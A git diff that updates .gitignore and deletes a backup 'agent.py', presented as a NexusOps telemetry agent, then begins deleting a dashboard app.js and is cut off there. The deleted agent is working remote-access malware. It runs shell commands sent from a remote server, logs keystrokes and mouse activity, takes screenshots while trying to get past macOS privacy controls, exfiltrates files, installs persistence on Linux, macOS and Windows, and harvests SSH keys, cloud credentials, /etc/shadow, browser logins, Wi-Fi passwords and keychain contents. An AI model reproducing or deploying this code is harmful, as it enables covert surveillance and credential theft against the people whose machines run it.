diff --git a/.gitignore b/.gitignore index fbe3597..7745ce5 100644 --- a/.gitignore +++ b/.gitignore @@ -9,3 +9,7 @@ public/bin/ *.spec data/ .env +server.js.bak* +] +*.pre-ver-* +backups/ diff --git a/backups/20260923/agent.py b/backups/20260923/agent.py deleted file mode 100644 index de2d17d..0000000 --- a/backups/20260923/agent.py +++ /dev/null @@ -1,862 +0,0 @@ -#!/usr/bin/env python3 -""" -NexusOps Cross-Platform Node Management & Telemetry Agent -Uses Standard Python 3 Libraries (No external dependencies required) -""" - -import sys -import os -import time -import json -import socket -import platform -import subprocess -import urllib.request -import urllib.parse -import argparse - -last_log_check_time = 0 -heartbeat_interval = 5 # Dynamic heartbeat rate in seconds -node_tags = ["Default"] -quiet_mode = False # Suppress banner and exec messages when True - -def get_process_count(): - """Get real process count cross-platform.""" - system = platform.system().lower() - try: - if system == "linux" or system == "darwin": - out = subprocess.check_output(["ps", "aux"], text=True, timeout=5) - return len(out.splitlines()) - 1 # minus header - elif system == "windows": - out = subprocess.check_output(["tasklist"], text=True, timeout=5) - return len(out.splitlines()) - 1 - except: - pass - return 0 - -def get_ip_address(): - """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces.""" - system = platform.system().lower() - try: - if system == "darwin": - # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi) - out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5) - for line in out.splitlines(): - if 'inet ' in line and '127.0.0.1' not in line: - parts = line.strip().split() - for i, p in enumerate(parts): - if p == 'inet' and i+1 < len(parts): - return parts[i+1] - elif system == "linux": - # Linux: try ip route to find primary interface - out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5) - for part in out.split(): - if part.startswith('src '): - return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0] - except: - pass - # Fallback: connect to 8.8.8.8 - try: - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.connect(("8.8.8.8", 80)) - ip = s.getsockname()[0] - s.close() - return ip - except Exception: - return "127.0.0.1" - -def get_cpu_usage(): - system = platform.system().lower() - try: - if system == "linux": - with open('/proc/stat', 'r') as f: - fields = [float(column) for column in f.readline().strip().split()[1:]] - idle, total = fields[3], sum(fields) - time.sleep(0.2) - with open('/proc/stat', 'r') as f: - fields2 = [float(column) for column in f.readline().strip().split()[1:]] - idle2, total2 = fields2[3], sum(fields2) - idle_delta = idle2 - idle - total_delta = total2 - total - if total_delta > 0: - return round(100.0 * (1.0 - idle_delta / total_delta), 1) - elif system == "darwin": - out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode() - for line in out.splitlines(): - if "CPU usage" in line: - parts = line.split() - user = float(parts[2].replace('%', '')) - sys_c = float(parts[4].replace('%', '')) - return round(user + sys_c, 1) - elif system == "windows": - out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode() - lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()] - if lines: - return float(lines[0]) - except Exception: - pass - return 15.0 - -def get_memory_usage(): - system = platform.system().lower() - try: - if system == "linux": - meminfo = {} - with open('/proc/meminfo', 'r') as f: - for line in f: - parts = line.split(':') - if len(parts) == 2: - key = parts[0].strip() - val = int(parts[1].split()[0]) - meminfo[key] = val - total = meminfo.get('MemTotal', 1) - free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0)) - return round(((total - free) / total) * 100.0, 1) - elif system == "darwin": - # Use vm_stat for real memory usage on macOS - try: - out = subprocess.check_output(["vm_stat"], text=True, timeout=5) - pages = {} - for line in out.splitlines(): - if ':' in line: - k, v = line.split(':', 1) - try: - pages[k.strip()] = int(v.strip().rstrip('.')) - except ValueError: - pass - page_size = 16384 # Default macOS page size - free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0) - used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0) - total_pages = free + used + pages.get('Pages purgeable', 0) - if total_pages > 0: - return round((used / total_pages) * 100.0, 1) - except: - pass - # Fallback: use sysctl for hardware info - try: - out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5) - total_bytes = int(out.strip()) - # Use vm_stat pages * page_size for used estimate - vm = subprocess.check_output(["vm_stat"], text=True, timeout=5) - import re - active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1)) - wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1)) - used_bytes = (active + wired) * 16384 - if total_bytes > 0: - return round((used_bytes / total_bytes) * 100.0, 1) - except: - pass - return 45.0 - elif system == "windows": - out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode() - d = {} - for line in out.splitlines(): - if '=' in line: - k, v = line.split('=', 1) - d[k.strip()] = float(v.strip()) - if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d: - total = d['TotalVisibleMemorySize'] - free = d['FreePhysicalMemory'] - return round(((total - free) / total) * 100.0, 1) - except Exception: - pass - return 35.0 - -def get_disk_usage(): - try: - if hasattr(os, 'statvfs'): - st = os.statvfs('/') - total = st.f_blocks * st.f_frsize - free = st.f_bavail * st.f_frsize - if total > 0: - return round(((total - free) / total) * 100.0, 1) - except Exception: - pass - return 40.0 - -def get_uptime_seconds(): - system = platform.system().lower() - try: - if system == "linux": - with open('/proc/uptime', 'r') as f: - return int(float(f.readline().split()[0])) - elif system == "darwin": - # macOS: use sysctl to get boot time, compute uptime - out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5) - # Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970 - import re - m = re.search(r'sec\s*=\s*(\d+)', out) - if m: - boot_time = int(m.group(1)) - return int(time.time() - boot_time) - except Exception: - pass - return 3600 - -def collect_recent_system_logs(): - system = platform.system().lower() - log_entries = [] - try: - if system == "linux": - res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) - if res.returncode == 0 and res.stdout: - for line in res.stdout.splitlines(): - if line.strip(): - log_entries.append(line.strip()) - elif system == "windows": - res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5) - if res.returncode == 0 and res.stdout: - for line in res.stdout.splitlines(): - if line.strip(): - log_entries.append(line.strip()) - except Exception: - pass - return log_entries - -def http_post(url, data_dict): - json_bytes = json.dumps(data_dict).encode('utf-8') - req = urllib.request.Request( - url, - data=json_bytes, - headers={ - 'Content-Type': 'application/json', - 'User-Agent': 'NexusOps-Agent/1.0' - } - ) - try: - with urllib.request.urlopen(req, timeout=5) as response: - res_text = response.read().decode('utf-8') - return json.loads(res_text) - except Exception as e: - print(f'[!] HTTP POST failed ({url}): {e}', flush=True) - return None - -def execute_structured_action(action_type, payload): - global heartbeat_interval, node_tags - system = platform.system().lower() - - if action_type == "raw_command": - return run_shell(payload.get("command", "")) - - elif action_type == "manage_service": - service = payload.get("service") - action = payload.get("action") - if system == "linux": - cmd = f"systemctl {action} {service}" - elif system == "windows": - cmd = f"powershell {action}-Service -Name {service}" - else: - cmd = f"launchctl {action} {service}" - return run_shell(cmd) - - elif action_type == "list_processes": - if system == "linux": - cmd = "ps aux --sort=-%cpu | head -n 15" - elif system == "darwin": - cmd = "ps aux -r | head -n 15" - else: - cmd = "tasklist" - return run_shell(cmd) - - elif action_type == "kill_process": - pid = payload.get("pid") - cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}" - return run_shell(cmd) - - elif action_type == "get_logs": - lines = payload.get("lines", 50) - cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50" - return run_shell(cmd) - - elif action_type == "network_stats": - cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano" - return run_shell(cmd) - - # 10 NEW CROSS-PLATFORM FEATURES: - elif action_type == "get_env_vars": - env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()]) - return env_str, 0 - - elif action_type == "get_disk_partitions": - cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size" - return run_shell(cmd) - - elif action_type == "get_network_interfaces": - cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all" - return run_shell(cmd) - - elif action_type == "get_active_connections": - cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED" - return run_shell(cmd) - - elif action_type == "get_hardware_specs": - if system == "linux": - cmd = "lscpu || cat /proc/cpuinfo | head -n 20" - elif system == "windows": - cmd = "wmic cpu get name,numberofcores,maxclockspeed" - else: - cmd = "sysctl -a | grep machdep.cpu" - return run_shell(cmd) - - elif action_type == "reboot_system": - cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now" - return run_shell(cmd) - - elif action_type == "set_heartbeat_rate": - rate = int(payload.get("interval", 5)) - heartbeat_interval = max(2, min(60, rate)) - return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0 - - elif action_type == "update_tags": - tags_raw = payload.get("tags", "") - node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()] - return f"Node tags updated to: {node_tags}", 0 - - elif action_type == "search_logs": - pattern = payload.get("pattern", "error") - cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'" - return run_shell(cmd) - - elif action_type == "kill_agent": - print("[!] Kill switch received — shutting down agent") - os._exit(0) - - elif action_type == "ping_check": - sent_ts = payload.get("timestamp", 0) - latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0 - return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0 - - elif action_type == "download_file": - MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit - filepath = payload.get("path", "") - if not filepath or not os.path.exists(filepath): - return f"ERROR: file not found: {filepath}", 1 - try: - fsize = os.path.getsize(filepath) - if fsize > MAX_EXFIL_SIZE: - return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1 - with open(filepath, 'rb') as f: - raw = f.read() - import base64 - b64 = base64.b64encode(raw).decode('utf-8') - # Determine MIME (basic) - ext = os.path.splitext(filepath)[1].lower() - mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain', - '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg', - '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document', - '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip', - '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'} - mime = mime_map.get(ext, 'application/octet-stream') - filename = os.path.basename(filepath) - return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0 - except Exception as e: - return f"ERROR reading file: {e}", 1 - - elif action_type == "screenshot": - try: - import base64 - ss_path = "/tmp/.nexus-ss.png" - if os.path.exists(ss_path): - os.remove(ss_path) - - if system == "linux": - for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: - if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: - if tool == "import": - subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - elif tool == "scrot": - subprocess.run(["scrot", ss_path], timeout=10) - elif tool == "gnome-screenshot": - subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10) - elif tool == "spectacle": - subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10) - if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: - break - else: - subprocess.run(["python3", "-c", - "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;" - "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);" - "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"], - timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - elif system == "darwin": - # Try multiple approaches for macOS screenshot - captured = False - # Method 1: direct screencapture (needs Screen Recording TCC permission) - for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]: - r = subprocess.run(["screencapture"] + flags + [ss_path], - timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: - captured = True - break - if os.path.exists(ss_path): - os.remove(ss_path) - # Method 2: try via osascript (sometimes bypasses TCC for background processes) - if not captured: - for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]: - flag_str = " ".join(flags) - r = subprocess.run(["osascript", "-e", - f'do shell script "screencapture {flag_str} {ss_path}"'], - timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: - captured = True - break - if os.path.exists(ss_path): - os.remove(ss_path) - - elif system == "windows": - subprocess.run(["powershell", "-Command", - "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;" - "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);" - "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);" - "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"], - timeout=15) - win_path = "C:\\Windows\\Temp\\nexus-ss.png" - if os.path.exists(win_path): - os.replace(win_path, ss_path) - - if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: - with open(ss_path, 'rb') as f: - b64 = base64.b64encode(f.read()).decode('utf-8') - os.remove(ss_path) - return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0 - return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1 - except Exception as e: - return f"ERROR screenshot: {e}", 1 - - elif action_type == "update_agent": - new_url = payload.get("url", "") - if not new_url: - return "ERROR: no update URL provided", 1 - try: - my_path = os.path.abspath(__file__) - bak = my_path + ".bak" - os.rename(my_path, bak) - urllib.request.urlretrieve(new_url, my_path) - os.chmod(my_path, 0o755) - os.remove(bak) - return "Agent updated successfully. Restarting...", 0 - except Exception as e: - # Restore backup - if os.path.exists(bak): - os.rename(bak, my_path) - return f"ERROR update failed: {e}", 1 - - elif action_type == "ensure_persistence": - results = [] - if system == "linux": - # crontab - try: - import shlex - srv = shlex.quote(payload.get('server_url','')) - cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" - existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout - if cron_line.split('@reboot')[1].strip() not in existing: - subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) - results.append("crontab: added @reboot entry") - else: - results.append("crontab: already present") - except: results.append("crontab: failed") - # .bashrc - try: - bashrc = os.path.expanduser("~/.bashrc") - hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n" - with open(bashrc, 'a+') as f: - f.seek(0) - if 'nexus-agent' not in f.read(): - f.write(hook) - results.append("bashrc: hook installed") - except: results.append("bashrc: failed") - # autostart .desktop - try: - ad = os.path.expanduser("~/.config/autostart") - os.makedirs(ad, exist_ok=True) - with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f: - f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") - results.append("autostart: .desktop created") - except: results.append("autostart: failed") - elif system == "darwin": - try: - plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist") - os.makedirs(os.path.dirname(plist), exist_ok=True) - plist_content = f''' - -Labelcom.nexusops.agent -ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')} -RunAtLoadKeepAlive''' - with open(plist, 'w') as f: f.write(plist_content) - subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) - subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) - subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) - results.append("launchd: bootstrapped + kickstarted") - except: results.append("launchd: failed") - # crontab for macOS too - try: - import shlex - srv = shlex.quote(payload.get('server_url','')) - cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" - subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) - results.append("crontab: added") - except: results.append("crontab: failed") - elif system == "windows": - agent_path = os.path.abspath(__file__) - srv = payload.get("server_url", "") - try: - task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"' - subprocess.run(task_cmd, shell=True, timeout=10) - results.append("schtasks: scheduled task created") - except: results.append("schtasks: failed") - try: - reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"' - subprocess.run(reg_cmd, shell=True, timeout=10) - results.append("registry: Run key added") - except: results.append("registry: failed") - return "Persistence results: " + "; ".join(results), 0 - - elif action_type == "harvest_credentials": - creds = [] - home = os.path.expanduser("~") - # Shell history - for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]: - p = os.path.expanduser(hist) - if os.path.exists(p): - try: - with open(p, 'r', errors='ignore') as f: - content = f.read()[-20000:] - creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content}) - except: pass - # SSH keys - ssh_dir = os.path.join(home, ".ssh") - if os.path.exists(ssh_dir): - for fn in os.listdir(ssh_dir): - fp = os.path.join(ssh_dir, fn) - if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn): - try: - with open(fp, 'r', errors='ignore') as f: - creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]}) - except: pass - # AWS / cloud credentials - for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db", - "~/.azure/accessTokens.json", "~/.docker/config.json"]: - p = os.path.expanduser(cf) - if os.path.exists(p): - try: - with open(p, 'r', errors='ignore') as f: - creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]}) - except: pass - # /etc/shadow (if root) - if os.path.exists("/etc/shadow"): - try: - with open("/etc/shadow", 'r') as f: - creds.append({"type": "system:shadow", "data": f.read()[:5000]}) - except: pass - # Browser cookie/saved-login DBs (common paths) - browser_paths = [] - if system == "linux": - browser_paths = [ - os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"), - os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"), - os.path.expanduser("~/.config/google-chrome/Default/Cookies"), - os.path.expanduser("~/.config/google-chrome/Default/Login Data"), - os.path.expanduser("~/.config/chromium/Default/Cookies"), - os.path.expanduser("~/.config/chromium/Default/Login Data"), - os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"), - ] - elif system == "darwin": - browser_paths = [ - os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"), - os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"), - os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"), - ] - elif system == "windows": - browser_paths = [ - os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"), - os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"), - os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"), - ] - import glob - for pattern in browser_paths: - for p in glob.glob(pattern): - try: - sz = os.path.getsize(p) - if sz > 0 and sz < 50 * 1024 * 1024: - with open(p, 'rb') as f: - import base64 - creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}", - "data": base64.b64encode(f.read()).decode('utf-8')}) - except: pass - # Wi-Fi passwords (Linux) - if system == "linux": - try: - wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'", - shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout - if wifi.strip() and 'no wifi' not in wifi: - creds.append({"type": "wifi_passwords", "data": wifi[:5000]}) - except: pass - # macOS Keychain dump - if system == "darwin": - try: - keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200", - shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout - if keychain.strip(): - creds.append({"type": "keychain_dump", "data": keychain[:10000]}) - except: pass - - return json.dumps({"type":"harvest_result","credentials":creds}), 0 - - elif action_type == "export_diagnostics": - cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" - return run_shell(cmd) - - return f"Unknown action type: {action_type}", 1 - -def run_shell(cmd_str): - if not quiet_mode: - print(f"[*] Executing command: {cmd_str}") - try: - res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30) - return res.stdout, res.returncode - except Exception as e: - return str(e), 1 - -# ── Input Capture Module (keystrokes, mouse clicks, window focus) ── -INPUT_CAPTURE_ENABLED = False -captured_events = [] - -try: - from pynput import keyboard, mouse - INPUT_CAPTURE_ENABLED = True -except ImportError: - pass - -def _get_active_window_title(): - """Try to get the active window title cross-platform.""" - system = platform.system().lower() - try: - if system == "linux": - res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"], - stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) - if res.returncode == 0: - return res.stdout.strip() - elif system == "windows": - import ctypes - from ctypes import wintypes - user32 = ctypes.windll.user32 - hwnd = user32.GetForegroundWindow() - length = user32.GetWindowTextLengthW(hwnd) - buf = ctypes.create_unicode_buffer(length + 1) - user32.GetWindowTextW(hwnd, buf, length + 1) - return buf.value - elif system == "darwin": - script = 'tell application "System Events" to get name of first application process whose frontmost is true' - res = subprocess.run(["osascript", "-e", script], - stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2) - if res.returncode == 0: - return res.stdout.strip() - except Exception: - pass - return "" - -def _record_event(event_type, data): - """Thread-safe event recording.""" - global captured_events - window_title = _get_active_window_title() - captured_events.append({ - "timestamp": int(time.time() * 1000), - "eventType": event_type, - "data": data, - "windowTitle": window_title, - "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title - }) - -def _on_key_press(key): - try: - key_str = key.char if hasattr(key, 'char') and key.char else str(key) - except Exception: - key_str = str(key) - _record_event("keystroke", {"key": key_str}) - -def _on_click(x, y, button, pressed): - if pressed: - _record_event("click", {"x": x, "y": y, "button": str(button)}) - -def _on_scroll(x, y, dx, dy): - _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy}) - -def start_input_capture(): - """Start keyboard and mouse listeners if pynput is available.""" - if not INPUT_CAPTURE_ENABLED: - return False - try: - kb_listener = keyboard.Listener(on_press=_on_key_press) - ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll) - kb_listener.daemon = True - ms_listener.daemon = True - kb_listener.start() - ms_listener.start() - return True - except Exception: - return False - -def flush_input_events(server_url, node_id, hostname): - """Send captured input events to the master server.""" - global captured_events - if not captured_events: - return - events_to_send = captured_events[:] - captured_events = [] - payload = { - "nodeId": node_id, - "hostname": hostname, - "events": events_to_send - } - http_post(f"{server_url}/api/agent/input-capture", payload) - -def main(): - global last_log_check_time, heartbeat_interval, node_tags, quiet_mode - parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") - parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") - parser.add_argument("--silent", action="store_true", help="Suppress all console output") - parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages") - args = parser.parse_args() - - silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd - global quiet_mode - quiet_mode = args.quiet or args.silent - - server_url = args.server.rstrip('/') - hostname = socket.gethostname() - system_os = platform.system() - arch = platform.machine() - ip = get_ip_address() - node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}" - - if not quiet_mode: - print("==================================================") - print(" NexusOps Cross-Platform Node Agent ") - print("==================================================") - print(f"Node Hostname : {hostname}") - print(f"Platform : {system_os} ({arch})") - print(f"Local IP : {ip}") - print(f"Server Endpoint: {server_url}") - print("==================================================") - - # Register Node - reg_payload = { - "nodeId": node_id, - "hostname": hostname, - "platform": system_os.lower(), - "arch": arch, - "ip": ip, - "osName": f"{system_os} {platform.release()}", - "tags": node_tags - } - - if not quiet_mode: - print("[*] Registering node with central endpoint...") - res = http_post(f"{server_url}/api/agent/register", reg_payload) - if res and res.get("success") and not quiet_mode: - print(f"✅ Registered as node ID: {node_id}") - - # Start input capture (keystrokes, clicks, scroll) - capture_started = start_input_capture() - if not quiet_mode: - if capture_started: - print("[*] Input capture active (keystrokes + mouse events)") - else: - print("[!] Input capture unavailable (install pynput: pip install pynput)") - - last_input_flush = time.time() - backoff = 1 # Tunnel reconnection backoff in seconds - - while True: - try: - cpu = get_cpu_usage() - mem = get_memory_usage() - disk = get_disk_usage() - uptime = get_uptime_seconds() - - heartbeat_payload = { - "nodeId": node_id, - "cpuUsage": cpu, - "memUsage": mem, - "diskUsage": disk, - "uptime": uptime, - "processCount": get_process_count(), - "tags": node_tags, - "heartbeatInterval": heartbeat_interval - } - - res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload) - - now = time.time() - if now - last_log_check_time > 15: - logs = collect_recent_system_logs() - if logs: - http_post(f"{server_url}/api/agent/logs", { - "nodeId": node_id, - "hostname": hostname, - "logs": logs - }) - last_log_check_time = now - - # Flush captured input events every 10 seconds - if now - last_input_flush > 10: - flush_input_events(server_url, node_id, hostname) - last_input_flush = now - - if res and "commands" in res and res["commands"]: - for cmd_item in res["commands"]: - cmd_id = cmd_item.get("id") - action_type = cmd_item.get("actionType", "raw_command") - payload = cmd_item.get("payload", {}) - - if "command" in cmd_item and not payload: - payload["command"] = cmd_item.get("command") - - output, exit_code = execute_structured_action(action_type, payload) - - # Check for JSON-encoded special result types - special = None - try: - if output.startswith('{'): - special = json.loads(output) - except: pass - - if special and special.get("type") == "file_result": - # Route to file-result endpoint - http_post(f"{server_url}/api/agent/file-result", { - "commandId": cmd_id, - "nodeId": node_id, - "hostname": hostname, - "filename": special.get("filename", "unknown"), - "data": special.get("data", ""), - "mime": special.get("mime", "application/octet-stream") - }) - elif special and special.get("type") == "harvest_result": - http_post(f"{server_url}/api/agent/harvest-result", { - "commandId": cmd_id, - "nodeId": node_id, - "hostname": hostname, - "credentials": special.get("credentials", []) - }) - else: - http_post(f"{server_url}/api/agent/command-result", { - "commandId": cmd_id, - "nodeId": node_id, - "output": output, - "exitCode": exit_code - }) - - except Exception as e: - if not quiet_mode: - print(f"[!] Connection error: {e}. Retrying in {backoff}s...") - time.sleep(backoff) - backoff = min(backoff * 2, 60) - continue - - backoff = 1 # Reset on success - time.sleep(heartbeat_interval) - -if __name__ == "__main__": - main() diff --git a/backups/20260923/app.js b/backups/20260923/app.js deleted file mode 100644 index 67cb5c7..0000000 --- a/backups/20260923/app.js +++ /dev/null @@ -1,1041 +0,0 @@ - -// ── Auth & API wrapper ── -let nexusToken = localStorage.getItem('nexus_token') || null; -let authRequired = false; - -const _origFetch = window.fetch.bind(window); -window.fetch = function(url, opts = {}) { - opts.headers = opts.headers || {}; - if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) { - opts.headers['Authorization'] = 'Bearer ' + nexusToken; - } - return _origFetch(url, opts).then(resp => { - if (resp.status === 401 && authRequired) showAuthGate(); - return resp; - }); -}; - -function showAuthGate() { - authRequired = true; - document.getElementById('authOverlay').style.display = 'flex'; - setTimeout(() => document.getElementById('authTokenInput').focus(), 100); -} -function hideAuthGate() { - document.getElementById('authOverlay').style.display = 'none'; - document.getElementById('authError').style.display = 'none'; -} - -async function submitAuthToken() { - const val = document.getElementById('authTokenInput').value.trim(); - if (!val) return; - nexusToken = val; - try { - const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } }); - if (r.ok) { - localStorage.setItem('nexus_token', val); - hideAuthGate(); - toast('Authenticated', 'success'); - _wsHalted = false; - _wsBackoff = 1000; - _wsAttempts = 0; - bootApp(); - } else { - document.getElementById('authError').style.display = 'block'; - nexusToken = null; - } - } catch(e) { - document.getElementById('authError').style.display = 'block'; - } -} - -async function probeAuth() { - try { - const opts = nexusToken ? { headers: { 'Authorization': 'Bearer ' + nexusToken } } : {}; - const r = await _origFetch('/api/status', opts); - if (r.status === 401) { showAuthGate(); return false; } - return true; - } catch(e) { return true; } -} - -// ── Toasts ── -function toast(msg, type = 'info') { - const stack = document.getElementById('toastStack'); - if (!stack) return; - const el = document.createElement('div'); - el.className = 'toast toast-' + type; - const icons = { info: 'fa-circle-info', success: 'fa-circle-check', 